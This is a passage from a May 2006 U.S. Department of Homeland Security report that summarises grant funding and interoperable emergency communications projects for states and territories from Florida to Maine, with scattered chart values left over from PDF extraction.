(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Florida State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
35
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Florida Information
Interoperable Communications: DHS Funded Activities – Florida
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$4,210,057.00
$4,210,057.00
FY 2004
$25,626,721.00
$2,017,563.00
$27,644,284.00
FY 2005
$21,508,387.00
$2,365,481.00
$23,873,868.00
Total
$51,345,165.00
$4,383,044.00
$55,728,209.00
Current Interoperable Communications Initiatives
•
Statewide Interoperability
Communications Solution - $36.7M
(Funded in three phases) - In the
summer of 2003, Florida began building
an interoperable communications
network which provides IP-based connectivity for over 200
dispatch centers in the state. By linking the dispatch centers,
the interoperability network provides instantaneous links between systems that are not
yet connected. The network will provide statewide coverage; it will not be limited to a
regional coverage area.
•
In addition to connecting the various interdisciplinary radio systems, Florida has
provided the necessary coverage enhancements needed to complement existing mutual
aid coverage in all four bands (low band, high band, UHF, 800 MHz) throughout the
State. The ability to
link disparate systems
on different radio bands
is necessary as
incidents generally
require a variety of first
response agencies.
Homeland Security Grant Program Allocations
$0
$5
$10
$15
$20
$25
$30
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
RapidCom
Participant
• Miami
Florida State Summary
36
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Georgia State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
37
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Georgia Information
Interoperable Communications: DHS Funded Activities – Georgia
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$2,261,970.29
$2,261,970.29
FY 2004
$27,161,348.00
$8,155,484.00
$35,316,832.00
FY 2005
$25,694,857.35
$5,872,480.00
$31,567,337.35
Total
$55,118,175.64
$14,027,964.00
$69,146,139.64
Current Interoperable Communications Initiatives
• The state has undertaken a project that will increase communications
abilities and create a statewide interoperable system by 2010. The
plan will start with the population centers and systematically
incorporate surrounding areas. The eight regional advisory councils
and the Georgia State Patrol are working in conjunction to insure this
is a successful system.
• Additionally the state has procured 10 mobile communications centers with varying
intensity capabilities.
Most notably, the
Gwinnett County PD has
a mobile center with
800mhz capacity. In the
event of a major
emergency this mobile
center can take over the
communications
demands for any major
urban area in the state,
including the city of
Atlanta.
Homeland Security Grant Program Allocations
$0
$5
$10
$15
$20
$25
$30
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Georgia State Summary
38
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Guam State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
39
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Guam Information
Interoperable Communications: DHS Funded Activities – Guam
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$759,100.00
$759,100.00
FY 2004
$578,605.00
$25,000.00
$603,605.00
FY 2005
$75,969.00
$15,499.00
$91,468.00
Total
$1,413,674.00
$40,499.00
$1,454,173.00
Current Interoperable Communications Initiatives
Improved communication throughout the Government of Guam (GovGuam) and
responder agencies.
Guam has also completed an aggressive upgrade to their basic communications
system through ACU 3000 and several mobile and portable radio’s that allows
agencies to interface seamlessly during emergency response. Furthermore, the communications
project has been instrumental in developing a state of the art EOC that is under construction and
will provide the Territory with
a secured communication
networking facility.
Homeland Security Grant Program Allocations
$0.0
$0.1
$0.2
$0.3
$0.4
$0.5
$0.6
$0.7
$0.8
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Guam State Summary
40
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Hawaii State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
41
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Hawaii Information
Interoperable Communications: DHS Funded Activities – Hawaii
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$2,806,430.00
$2,806,430.00
FY 2004
$6,485,577.00
$666,400.00
$7,151,977.00
FY 2005
$4,735,665.00
$1,267,000.00
$6,002,665.00
Total
$14,027,672.00
$1,933,400.00
$15,961,072.00
Current Interoperable Communications Initiatives
Wireless Interoperability for responder communities.
City/County of Honolulu, Maui, Kauai, Hilo have all been linked
together under the wireless interoperability system. Hawaii continues
to expand on their communications projects through Hawaii Wireless
Interoperability Network (HWIN) by expanding into digital (700mhz)
systems and with the plethora of DoD components.
Homeland Security Grant Program Allocations
$0
$1
$2
$3
$4
$5
$6
$7
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Hawaii State Summary
42
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Idaho State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
43
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Idaho Information
Interoperable Communications: DHS Funded Activities – Idaho
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$0.00
FY 2004
$6,004,380.66
$14,835.00
$6,019,215.66
FY 2005
$7,536,285.00
$50,000.00
$7,586,285.00
Total
$13,540,665.66
$64,835.00
$13,605,500.66
Current Interoperable Communications Initiatives
Major Initiatives:
• 700 MHz projects that has linked Bannock and Ada counties.
• To support the Governor's State Executive Interoperability Council and to
purchase equipment to enhance interoperable communications as well as
additional IC planning and design efforts.
• Purchase equipment to enhance capabilities to respond to CBRNE events.
• The Idaho State Communications Center is the primary dispatch facility for
the State of Idaho. The center provides communication services for police, fire,
emergency medical services, hazardous materials response and numerous other life safety
services throughout the state of Idaho. The building and the area surrounding the complex
has significant security
vulnerabilities, and
funding is required to
harden the facility, and
mitigate the
vulnerabilities to the
center.
Homeland Security Grant Program Allocations
$0
$1
$2
$3
$4
$5
$6
$7
$8
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Idaho State Summary
44
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Illinois State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
45
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Illinois Information
Interoperable Communications: DHS Funded Activities – Illinois
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$38,951,790.19
$38,951,790.19
FY 2004
$45,319,241.75
$7,963,767.00
$53,283,008.75
FY 2005
$15,150,459.16
$16,782,227.84
$31,932,687.00
Total
$99,421,491.10
$24,745,994.84
$124,167,485.94
Current Interoperable Communications Initiatives
Background
The Communications Committee of the Illinois Terrorism
Task Force (ITTF) has the responsibility for developing
solutions to communications interoperability for all of the
state’s emergency response organizations and developing an
infrastructure that supports that interoperability. The focus
of the Communications Committee remains committed toward the development and
maintenance of an all-hazards approach.
Major Accomplishments (2005-2006)
Statewide Warning and Alerting Systems
Phase III of the statewide EMnet installation was completed in February 2006. EMnet is
a satellite-based data system capable of receiving simultaneous, authenticated text
messages from the State Emergency Operations Center (SEOC). EMnet terminals were
installed in all county
warning points, regional
hospital command
centers, and key state
agencies.
Phase IV of the EMnet
system, involving the
installation of terminals
in nineteen broadcast
radio stations responsible
for activation of the
Emergency Alert System
(EAS), is near
Homeland Security Grant Program Allocations
$0
$5
$10
$15
$20
$25
$30
$35
$40
$45
$50
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
RapidCom
Participant
• Chicago
Illinois State Summary
46
State Interoperable Communications: DHS Funded Activities
May 2006
completion. Additionally, EAS activation software and related equipment has been sent
to each of the 102 counties and Chicago. Training courses for county emergency
managers regarding the development of EAS plans are ongoing.
System surveys for Phase V, the installation of EMnet in 9-1-1 centers statewide, have
been completed and equipment installation is scheduled for 2006.
Incident Scene Management and Interoperability
Accepted delivery of nine regional communications suites, known as the Illinois
Transportable Emergency Communications System (ITECS). A tenth ITECS suite is
being assigned to the Illinois Emergency Management Agency.
Installation of electronics into the trailers continues, with project completion scheduled
for August 2006.
Ordered mobile interoperable radios that are designed to enhance or develop system
interoperability on various levels. This includes VHF interoperability. The radios were
ordered and distributed by the corresponding statewide mutual aid organization – IESMA
(EMA), MABAS (fire), and ILEAS (police).
In cooperation with the statewide law enforcement mutual aid system (ILEAS), funded
the purchase of interoperable communications to be installed in the 13 Mobile Command
vehicles that will be deployed statewide. 11 of 13 vehicles have been delivered as of
February 2006.
Infrastructure to Support Interoperable Scene Communications
Ordered equipment for the Medical Emergency Radio System of Illinois (MERCI) – a
base station system, provided to every hospital statewide, designed to support Emergency
Medical System (EMS) interoperability.
Began installation of STARCOM21 800 MHz radios at public safety agencies throughout
the state. Radios were offered to every police, fire, emergency management, public health
and other public safety agencies. The radios provide an interoperable communications
link to the SEOC and are the same statewide radio system that Illinois State Police will be
switching to in the fall of 2006.
Established the Illinois Radio Emergency Assistance Channel (IREACH), which is a
mobile and portable system. Equipment was provided to public health agencies
statewide, designed to improve interoperability between first responders and public
health agencies.
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Indiana State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
47
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Indiana Information
Interoperable Communications: DHS Funded Activities – Indiana
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$1,516,358.74
$1,516,358.74
FY 2004
$22,055,242.39
$625,269.05
$22,680,511.44
FY 2005
$4,620,281.00
$454,400.00
$5,074,681.00
Total
$28,191,882.13
$1,079,669.05
$29,271,551.18
Current Interoperable Communications Initiatives
Project Hoosier SAFE-T (Safety Acting for Everyone - Together) is an innovative
approach in the development of a statewide 800 MHz interoperable, wireless
public safety communication system for Indiana local, state, and federal first
responders and public safety officials. SAFE-T is a major undertaking, reaching
across the entire state with 126 communication sites. To date, with 91
communication sites completed, approximately 80% of the state of Indiana is
covered at 95% reliability and includes 69 of the 92 counties and approximately
20,000 users. This includes first responders in 55 counties, 16 state agencies
(including 2500 state Department of Transportation workers and 2500 Corrections Officers); and
three federal agencies. Project Hoosier SAFE-T is building and maintaining the system
backbone: towers, antennas, shelters, generators, transmitters, base stations, cabling and
frequencies. Participating agencies provide their own user equipment, including dispatch
consoles, radios and computers, which they can buy at a 20-25% discount through the state.
Participation is voluntary and agencies pay no user fees. The goal is to make interoperable
communications affordable and available for every community. The system is scheduled for
completion in 2007.
Indiana was able to leverage
partial funding for this project
through an existing small fee
attached to vehicle registrations.
These funds were being used by
the state for information
technology projects and a portion
of the proceeds were re-directed
to interoperable communications.
This funding mechanism, teamed
Homeland Security Grant Program Allocations
$0
$5
$10
$15
$20
$25
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Indiana State Summary
48
State Interoperable Communications: DHS Funded Activities
May 2006
with federal dollars and local partnerships, will allow the state to complete their project 3 months
early and $12 million under budget. In addition to forging statewide interoperable
communications, Indiana spurred the creation of the Midwest Public Safety Communication
Coalition (MPSCC), an alliance with Michigan, Illinois, Kentucky and Ohio, dedicated to
creating regional interoperability between these neighboring states.
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Iowa State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
49
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Iowa Information
Interoperable Communications: DHS Funded Activities – Iowa
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$500,000.00
$500,000.00
FY 2004
$8,434,320.49
$1,145,784.70
$9,580,105.19
FY 2005
$4,959,766.00
$807,241.00
$5,767,007.00
Total
$13,894,086.49
$1,953,025.70
$15,847,112.19
Current Interoperable Communications Initiatives
One of the biggest interoperable communications initiatives in Iowa is
an interoperable voice, data and video system for command
operations. The primary driver behind this project is the development
of real-time information sharing between EOCs in the region; this
system will not only allow voice interoperability, but is expanded to
include data and video communications. This is being done in
Region 5 of the state, which includes 17 counties in southeast Iowa. The state is looking at the
technology behind this system and exploring the possibility of expanding it to the other five
regions in the state.
Another interoperable communications initiative is a statewide communications plan. This is
similar to the Tactical Interoperable Communications Plan (TICP) as required in the FY05 grant
guidance; however, the state is expanding that plan for statewide implementation to include not
only voice interoperability but also data and video communications. The governance structure of
this plan is currently in development.
Iowa received a $6 million
grant from DHS/ICE to
implement the Tri-State
Homeland Security First
Responder Communications
Interoperability project. This
project allows the use of
equipment and technologies to
increase interoperability within
the Tri-State Siouxland area
(Woodbury County, IA, Dakota
Homeland Security Grant Program Allocations
$0
$1
$2
$3
$4
$5
$6
$7
$8
$9
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Iowa State Summary
50
State Interoperable Communications: DHS Funded Activities
May 2006
County, NE and Union County, SD) among the fire services, law enforcement and emergency
services. The project provides the backbone for the system changes necessary to enable first
responders to communicate via voice and data "on the scene" as well as to provide "incident
command" assessment. This project has been implemented, and they are now looking into
expanding it even further.
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Kansas State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
51
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Kansas Information
Interoperable Communications: DHS Funded Activities – Kansas
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$0.00
$0.00
FY 2004
$12,689,157.02
$1,917,636.57
$14,606,793.59
FY 2005
$4,026,520.00
$1,009,759.00
$5,036,279.00
Total
$16,715,677.02
$2,927,395.57
$19,643,072.59
Current Interoperable Communications Initiatives
•
Kansas has purchased two Communications on Wheels
(COW) vehicles. The vehicles are equipped with extendable
antennas, an ACU 1000 and approximately 25 handheld units
to be distributed to first responders following natural disasters
or terrorist attack. The COWs were purchased with the State’s
20% share of the FY2003 funds for $546,000. The COWs
have been used frequently in training and actual events including an Ice Storm in which
the COWs replaced a destroyed communications tower.
• Kansas is pursuing a Statewide interoperable communications system. The State has
provided 5 million in G&T funds to develop an 800MHZ system in the Southeast portion
of the State. This phase of the project is expected to be completed by the end of June
2006. The second phase of the project will begin in July 2006 and will result in a large
portion of the State being covered by the 800 MHZ system. Communities which will not
be covered by the 800
MHZ system will be
connected to the
interoperable
communications system
through ACU1000’s and
similar devices which
will allow multiple
agencies with diverse
frequencies to
communicate on
common channels. The
State has installed these
Homeland Security Grant Program Allocations
$0
$2
$4
$6
$8
$10
$12
$14
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Kansas State Summary
52
State Interoperable Communications: DHS Funded Activities
May 2006
devices on established communications towers operated by the Kansas Department of
Transportation. Additionally, numerous portable and handheld radios have been
purchased to build out the new system and replace aging equipment.
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Kentucky State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
53
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Kentucky Information
Interoperable Communications: DHS Funded Activities – Kentucky
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$2,268,323.72
$2,268,323.72
FY 2004
$28,589,807.39
$1,767,365.00
$30,357,172.39
FY 2005
$15,781,418.00
$1,573,030.00
$17,354,448.00
Total
$46,639,549.11
$3,340,395.00
$49,979,944.11
Current Interoperable Communications Initiatives
• FY 2004: $3.5 million for Louisville’s MetroSafe Project.
• FY 2004: $4 million for wireless communications infrastructure.
• FY 2005: $2.5 million for mobile data terminals.
• Summary: The two primary interoperability projects underway in
the Commonwealth are Louisville’s MetroSafe Project and the statewide mobile date
terminal project for law enforcement, fire, and EMS. MetroSafe is a joint operation to
consolidate communications for 911, the Louisville Metro Police Department, Louisville
Fire and Rescue, Local Government Radio, and Louisville Metro Emergency Medical
Services. In addition, MetroSafe will offer interoperability for all remaining 911 PSAPS,
Jefferson County Sheriff’s Office, suburban city agencies within Louisville Metro as well
as the 13 surrounding counties in Kentucky and Indiana. The MetroSafe project is
responsible for acquiring a facility; developing and implementing adequate infrastructure
to support voice, wireless and data communications; implementing proper security; and
acquiring and implementing public safety applications to support consolidated
communications and public safety interoperability.
•
The Commonwealth has
also developed a
statewide interoperable
mobile data terminal
project they are
implementing for law
enforcement. The
project will be expanded
to fire and EMS agencies
and will be compatible
with the MetroSafe
project in Louisville.
Homeland Security Grant Program Allocations
$0
$5
$10
$15
$20
$25
$30
$35
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Kentucky State Summary
54
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Louisiana State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
55
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Louisiana Information
Interoperable Communications: DHS Funded Activities – Louisiana
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$3,451,736.66
$3,451,736.66
FY 2004
$18,314,788.24
$2,368,272.00
$20,683,060.24
FY 2005
$28,819,824.29
$787,480.35
$29,607,304.64
Total
$50,586,349.19
$3,155,752.35
$53,742,101.54
Current Interoperable Communications Initiatives
Hurricanes Katrina and Rita confirmed the need for a single network, multiple
zone redundant architecture with an expanded capacity to provide reliable and
survivable communications to the Louisiana emergency response community.
To achieve this, Louisiana has pursued the following initiatives:
Louisiana is installing an integrated communications platform by shared use
of 700MHz and 800MHz wireless communications. This system will provide
layers of redundancy and increased capacity to the current communications capability of the state
network. Redundant communications paths are being secured, thereby ensuring operability and
survivability. These measures will provide for greater interoperability among the State's
emergency response community, further augmented by implementing bridging capabilities
among local networks and the state network. And, it will provide a system which permits
communications support for responders from other jurisdictions when in a disaster area. The
focus will first be on coastal parishes of Louisiana reaching up to the I-10/I-12 corridor.
Immediately following landfall
of Hurricane Katrina, Louisiana
officials met with FEMA in an
effort to coordinate the
emergency implementation of
the 700 MHz communications
network. In response, FEMA
issued a purchase order to
Motorola for $15.9 million to
repair and augment the current
infrastructure in the effected
area. This included the
Homeland Security Grant Program Allocations
$0
$5
$10
$15
$20
$25
$30
$35
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Louisiana State Summary
56
State Interoperable Communications: DHS Funded Activities
May 2006
construction and upgrade of 19 communications tower sites in southeast Louisiana. Currently,
16 of these sites are fully operational, with work and funding still pending on the remainder. The
project consists of an Astro25 700MHz, 19 site, Project 25 compliant network providing
interoperable voice communications for sixteen parishes. Additionally, FEMA has funded a $5
million purchase of mobile and portable radios for St. Bernard and Plaquemines Parishes which
will utilize the State's 700 MHz communications system.
The UASI Region 1 (New Orleans metro area), utilizing DHS/COPS grant funding, has issued a
$16 million contract with Motorola for the acquisition of an APCO Project 25 compliant dual
mode 700/800 MHz digital trunked system, which will become a zone within the single system
multi-zone Statewide 700 MHz system. This architecture will provide seamless, interoperable
roaming with the entire State system. Additionally, the Louisiana legislature appropriated $2.8
million to the Louisiana State Police to remediate nine additional sites in southwest Louisiana.
To establish levels of interoperability between disparate communications systems, Louisiana
State Police has purchased eight (two are portable) ACU1000 devices to aid in the state's
interoperability endeavor. These devices have been installed at the LSP Troops located in
Shreveport, New Orleans, Lake Charles, Lafayette, Grey and Covington and will allow multiple
agencies to communicate with each other on a common channel.
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Maine State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
57
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Maine Information
Interoperable Communications: DHS Funded Activities – Maine
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$67,274.00
$67,274.00
FY 2004
$13,280,488.84
$1,326,800.00
$14,607,288.84
FY 2005
$14,710,255.80
$14,710,255.80
Total
$28,058,018.64
$1,326,800.00
$29,384,818.64
Current Interoperable Communications Initiatives
• FY 2004: $1.3 million to purchase 3 statewide mobile command vehicles
and 6 smaller mobile command vehicles to be placed strategically around
the state to enable first responders to quickly establish command, control,
and interoperability at the scene of an incident.
• FY 2005: $5.5 million sub-granted to locals to purchase interoperable
communications equipment.
• Summary: Maine is implementing CON-OPS as a foundation and standard for statewide
